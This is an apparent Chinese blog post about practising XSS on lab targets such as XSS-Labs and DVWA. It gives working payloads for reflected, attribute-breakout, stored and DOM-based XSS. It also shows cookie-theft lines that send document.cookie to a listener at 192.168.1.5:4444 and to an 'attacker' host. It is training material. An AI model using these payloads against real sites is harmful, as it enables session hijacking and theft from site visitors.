xss靶机
第一次搭xss靶机是在一台退役的ThinkPad上,装了个Ubuntu Server,内存只有2G。跑DVWA的时候,那个Apache进程时不时就卡死。后来换成XSS-Labs,轻量多了,PHP+MySQL,跑起来风扇都不怎么转。靶机这玩意儿,说白了就是故意留洞让你钻,但钻得多了,反而能摸到一些真实环境里容易被忽略的细节。
XSS-Labs一共20关,每关一个页面,源码就放在旁边。第一关连过滤都没有,直接?name=<script>alert(1)</script>就弹窗。这种关卡看着像送分,但很多人第一次打的时候反而愣住——因为浏览器地址栏输入尖括号会被编码,得用Burp或者浏览器开发者工具改。我当初就在这卡了十分钟,以为是靶机坏了。
从第二关开始,过滤慢慢加进来。比如htmlspecialchars()把<转成<,但有时候只转一半。有一关是value属性里直接输出,双引号没过滤,那就闭合属性再插事件:" onmouseover="alert(1)。鼠标滑过就触发。这种场景在真实网站里太常见了——搜索框回显、用户昵称、评论内容,只要有一处没转义,就能塞进去。
input标签,name、keyword、t_sort。前两个被htmlspecialchars处理了,但第三个只过滤了<和>。那就用onfocus加autofocus,构造t_sort=" onfocus="alert(1)" autofocus="。页面加载完自动聚焦,弹窗。这一关教会我:过滤不全是常态,别指望一个函数解决所有问题。 靶机打多了会发现,XSS的利用方式远不止alert(1)。弹窗只是证明漏洞存在,真正有破坏力的是窃取Cookie、发起CSRF、键盘记录、甚至结合浏览器漏洞执行本地命令。DVWA里有个反射型XSS,配合document.cookie就能把session发到自己的服务器。我在本地搭了个nc -lvp 4444,用fetch('http://192.168.1.5:4444?c='+document.cookie),看到Cookie里的PHPSESSID滚出来的时候,比弹窗爽多了。
存储型XSS更阴。留言板、个人签名、日志系统,只要数据存进数据库再原样吐出来,就是持久化的。有一回我拿一个开源的博客系统练手,在评论里塞了<script>new Image().src='http://attacker/steal?c='+document.cookie</script>,结果每个访问那篇文章的人都会中招。清理起来也麻烦——得去数据库里删记录,或者写脚本批量替换。所以真实渗透里,存储型XSS的评级通常比反射型高一级。
DOM型XSS容易被忽略。它不经过服务器,纯前端document.write、innerHTML、eval把用户输入当代码跑。靶机里有一关是location.hash直接塞进innerHTML,用#<img src=x onerror=alert(1)>就触发。这种漏洞在单页应用里特别多,因为前端路由经常拿URL片段做文章。测的时候得盯着source和sink——数据从哪来,到哪去。
搭靶机也有讲究。别用生产环境,别连公网,最好放在虚拟机里,网络模式选Host-Only。我见过有人把DVWA放阿里云上,第二天就被扫出来,数据库被清空。靶机是拿来练手的,不是拿来当活靶子的。另外,记得关掉PHP的display_errors,不然报错信息会泄露路径和版本,虽然对本地练习无所谓,但养成习惯没坏处。
最后说个观察:XSS靶机打穿一遍,不等于会挖XSS。靶机关卡是出题人设计好的,漏洞点明确,过滤规则也写在源码里。真实网站你得自己找输入点、猜过滤逻辑、绕WAF。我后来在几个众测项目里试手,发现最难的其实是判断哪些参数会回显到HTML里。有时候一个search参数在结果页出现三次,两次被转义,一次漏了——就那一次,够了。
靶机就像拳击沙袋,打多了形成肌肉记忆。但上了擂台,对手不会站着不动让你打。XSS也一样,工具能帮你扫出一堆alert(1),但真正有价值的漏洞,往往藏在那些看起来“没问题”的地方。